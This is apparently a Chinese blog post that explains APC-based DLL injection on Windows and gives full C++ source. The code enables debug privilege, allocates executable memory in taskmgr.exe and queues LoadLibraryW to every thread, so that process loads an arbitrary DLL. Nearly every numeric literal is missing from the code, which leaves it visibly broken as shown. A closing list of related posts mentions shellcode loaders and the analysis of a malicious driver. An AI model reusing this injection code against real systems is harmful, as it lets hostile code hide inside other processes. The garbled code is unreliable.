系统产生一个软中断,当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数,利用QueueUserAPC()这个API,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,

1.根据进程名称得进程ID
2.枚举该进程中的线程
3.将自己的函数插入到每个线程的APC队列中


  1 // APCInject(Ring3).cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h"
#include <windows.h>
#include <TlHelp32.h>
#include <ntstatus.h>
#include <vector>
#include <iostream> using namespace std;
/*
Win7下成功 Win10不一定成功(编译对应的位数,管理员身份运行)
Win7要将倒着插入!!
要将DLL拷到.cpp的文件夹中
尽量选择线程多的exe 另外没有提供删除APC队列中函数的方法,所以不能反复注入。
*/ WCHAR __DllFullPath[MAX_PATH] = { };
PVOID __DllFullPathBufferData = NULL;
UINT_PTR __LoadLibraryWAddress = ; //typedef void(*pfnSub_110)(); BOOL GetProcessIDByProcessImageName(IN PWCHAR ProcessImageName, OUT PUINT32 ProcessID);
BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>& ThreadIDVector);
BOOL InjectDllByApc(IN UINT32 ProcessID, OUT UINT32 ThreadID);
BOOL DebugPrivilege(WCHAR * DebugName, BOOL bEnable); int main()
{
if (DebugPrivilege(SE_DEBUG_NAME, TRUE)==FALSE)
{
printf("DebugPrivilege Error\r\n");
} GetCurrentDirectory(MAX_PATH, __DllFullPath); wcscat(__DllFullPath, L"\\Dll.dll"); UINT ProcessID = ; if (GetProcessIDByProcessImageName(
L"taskmgr.exe", &ProcessID) == FALSE)
{ return ;
} vector<UINT32> ThreadIDVector; if (GetThreadIDByProcessID(ProcessID, ThreadIDVector) == FALSE)
{
return ;
} size_t ThreadCount = ThreadIDVector.size();
//每一个线程
/*
win7下得倒着注入
*/
for (INT_PTR i = ThreadCount - ; i >= ; i--)
{
UINT32 ThreadID = ThreadIDVector[i];
InjectDllByApc(ProcessID, ThreadID);
} printf("Input Any Key to Exit\r\n");
getchar();
getchar(); return ;
} BOOL InjectDllByApc(IN UINT32 ProcessID, OUT UINT32 ThreadID)
{
HANDLE ThreadHandle = NULL;
HANDLE ProcessHandle = OpenProcess(
PROCESS_ALL_ACCESS, FALSE, ProcessID); SIZE_T DllFullPathLength = ((wcslen(__DllFullPath) + )); SIZE_T ReturnLength = ;
BOOL IsOk = FALSE; // 申请一次内存
if (__DllFullPathBufferData == NULL)
{
__DllFullPathBufferData =
VirtualAllocEx(
ProcessHandle,
NULL,
DllFullPathLength * ,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
); if (__DllFullPathBufferData == NULL)
{
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
return FALSE;
} IsOk = WriteProcessMemory(
ProcessHandle,
__DllFullPathBufferData,
__DllFullPath,
DllFullPathLength * ,
&ReturnLength
); if (IsOk == FALSE)
{ VirtualFree(__DllFullPathBufferData,
DllFullPathLength * , MEM_RELEASE); CloseHandle(ProcessHandle);
ProcessHandle = NULL;
return FALSE;
}
} __LoadLibraryWAddress =
(UINT_PTR)GetProcAddress(
GetModuleHandle(L"Kernel32.dll"),
"LoadLibraryW"
); if (__LoadLibraryWAddress == NULL)
{
VirtualFree(
__DllFullPathBufferData,
DllFullPathLength * , MEM_RELEASE);
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
return FALSE;
} __try
{
ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID);
DWORD v1 = QueueUserAPC(
(PAPCFUNC)__LoadLibraryWAddress,
ThreadHandle,
(UINT_PTR)__DllFullPathBufferData
); //LoadLibraryWAddress("DllFullPathBufferData")
if (v1 == )
{
printf("FAIL %d\r\n", GetLastError());
}
else if (v1 != )
{
printf("Success\r\n");
}
} __except (EXCEPTION_CONTINUE_EXECUTION)
{ } CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle); return TRUE;
} BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>& ThreadIDVector)
{
HANDLE ThreadSnapshotHandle = NULL;
THREADENTRY32 ThreadEntry32 = { }; ThreadEntry32.dwSize = sizeof(THREADENTRY32); ThreadSnapshotHandle = CreateToolhelp32Snapshot(
TH32CS_SNAPTHREAD, );
if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
{
return FALSE;
} BOOL IsOk = Thread32First(
ThreadSnapshotHandle, &ThreadEntry32); if (IsOk)
{
do
{
if (
ThreadEntry32.th32OwnerProcessID
== ProcessID)
{
ThreadIDVector.emplace_back(
ThreadEntry32.th32ThreadID); // 把该进程的所有线程id压入模板
}
} while (Thread32Next(
ThreadSnapshotHandle, &ThreadEntry32)
); } CloseHandle(ThreadSnapshotHandle);
ThreadSnapshotHandle = NULL; return TRUE;
} BOOL GetProcessIDByProcessImageName(IN PWCHAR ProcessImageName, OUT PUINT32 ProcessID)
{
HANDLE ProcessSnapshotHandle = NULL;
ProcessSnapshotHandle =
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ); if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
{
return FALSE;
} PROCESSENTRY32 ProcessEntry32 = { };
ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); BOOL IsOk = Process32First(
ProcessSnapshotHandle,
&ProcessEntry32
); if (IsOk)
{
do
{
if (
lstrcmpi(ProcessEntry32.szExeFile,
ProcessImageName)==
)
{
*ProcessID = ProcessEntry32.th32ProcessID;
break;
}
} while (Process32Next(
ProcessSnapshotHandle,
&ProcessEntry32
)
);
} if (*ProcessID==)
{
printf("Get ProcessID FAIL! 请打开任务管理器.\r\n");
return FALSE;
} CloseHandle(ProcessSnapshotHandle);
ProcessSnapshotHandle = NULL; return TRUE;
} BOOL DebugPrivilege(WCHAR * DebugName, BOOL bEnable)
{
BOOL bRet = TRUE;
HANDLE TokenHandle;
TOKEN_PRIVILEGES TokenPrivileges; //进程 Token 令牌
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
{
bRet = FALSE;
return bRet;
}
TokenPrivileges.PrivilegeCount = ;
TokenPrivileges.Privileges[].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : ; LookupPrivilegeValue(NULL, DebugName, &TokenPrivileges.Privileges[].Luid);
AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
if (GetLastError() != ERROR_SUCCESS)
{
bRet = FALSE;
} CloseHandle(TokenHandle);
return bRet; }

注入 - Ring3 APC注入的更多相关文章

  1. Dll注入:Ring3 层 APC注入

    APC,即Asynchronous procedure call,异步程序调用APC注入的原理是:在一个进程中,当一个执行到SleepEx()或者WaitForSingleObjectEx()时,系统 ...

  2. Windows x86/ x64 Ring3层注入Dll总结

    欢迎转载,转载请注明出处:http://www.cnblogs.com/uAreKongqi/p/6012353.html 0x00.前言 提到Dll的注入,立马能够想到的方法就有很多,比如利用远程线 ...

  3. 分析恶意驱动(进程启动apc注入dll)

    一.前言  用IDA也有好些时间了,以前就只会用F5功能玩无壳无保护的裸驱动,感觉太坑了,这两天就开始看网上大牛的逆向. 今天记录一下sudami曾经逆向过的fuck.sys.第一遍自己走的时候漏掉了 ...

  4. APC注入

    0X01 注入原理 当线程被唤醒时APC中的注册函数会被执行的机制,并依此去调用我们的DLL加载代码,进而完成注入的目的 具体的流程: 1 当EXE里的某个线程执行到sleepEX(),或者waitF ...

  5. 常见注入手法第二讲,APC注入

    常见注入手法第二讲,APC注入 转载注明出处 首先,我们要了解下什么是APC APC 是一个简称,具体名字叫做异步过程调用,我们看下MSDN中的解释,异步过程调用,属于是同步对象中的函数,所以去同步对 ...

  6. 注入理解之APC注入

    近期学习做了一个各种注入的MFC程序,把一些心得和体会每天分享一些 APC(Asynchronous procedure call)异步程序调用,在NT中,有两种类型的APCs:用户模式和内核模式.用 ...

  7. Dll注入技术之APC注入

    APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:     1)当EXE里某个线程执行到SleepEx( ...

  8. windows:shellcode 代码远程APC注入和加载

    https://www.cnblogs.com/theseventhson/p/13197776.html  上一章介绍了通用的shellcode加载器,这个加载器自己调用virtualAlloc分配 ...

  9. DLL注入-APC注入

    APC注入 APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:     1)当EXE里某个线程执行到Sl ...

随机推荐

  1. EasyUI datagrid 选择单元格 出现文本框 修改 四

    @disabled = "disabled", 只读属性 数据初始化 public JsonResult RateList(string dispatch_number, stri ...

  2. 本地连接服务器的mongodb

    首先说中心思想,和连接本地数据库是一样的,不同的是修改数据库的配置项: module.exports = { dbs:'mongodb://账号:密码@服务器ip27017/数据库名称' } 但是总是 ...

  3. Oracle 11g direct path read 等待事件的理解

    在Oracle 11g中,全表扫描可能使用direct path read方式,绕过buffer cache,这样的全表扫描就是物理读了. 在10g中,都是通过gc buffer来读的,所以不存在di ...

  4. linux之数据备份

    第一种方法:tar备份 [root@bogon ~]# cat bp/linux.txt no centos [root@bogon ~]# tar cvf bp.tar bp //打包bp目录 bp ...

  5. GBDT(Gradient Boosting Decision Tree) 没有实现仅仅有原理

                阿弥陀佛.好久没写文章,实在是受不了了.特来填坑,近期实习了(ting)解(shuo)到(le)非常多工业界经常使用的算法.诸如GBDT,CRF,topic model的一些算 ...

  6. webpack 4 知识点

    相应Github地址:https://github.com/cag2050/webpack4_demo css-loader 让我们能在javascript代码中导入css文件,但这还不能让css起作 ...

  7. OpenGL纹理

    如果不用头文件,把所有东西堆在同一个cpp文件中,会出现“超出GPU内存的错误!” 1 //我们自己的着色器类 #ifndef SHADER_H #define SHADER_H #include & ...

  8. HBase启动后RegionServer自动挂原因及解决办法

    zookeeper在同步和管理集群时依赖节点系统时间,每隔一定周期zookeeper master会监测所有节点的连接状态.所以解决办法就是利用ntp对集群局域网进行时间同步. CentOS设置系统时 ...

  9. Jmeter -- HTTP Request Defaults HTTP请求默认值

    一.HTTP Request Defaults的作用: 该组件可以为我们的http请求设置默认的值.假如,我们创建一个测试计划有很多个请求且都是发送到相同的server,这时我们只需添加一个Http ...

  10. Redis hash结构

    1. select 更换命名空间 select 1 2. 设置hash,key为mp,键为name 值为zhangsan  hexists判断hash的key是否存在 3. 获得map中键为name的 ...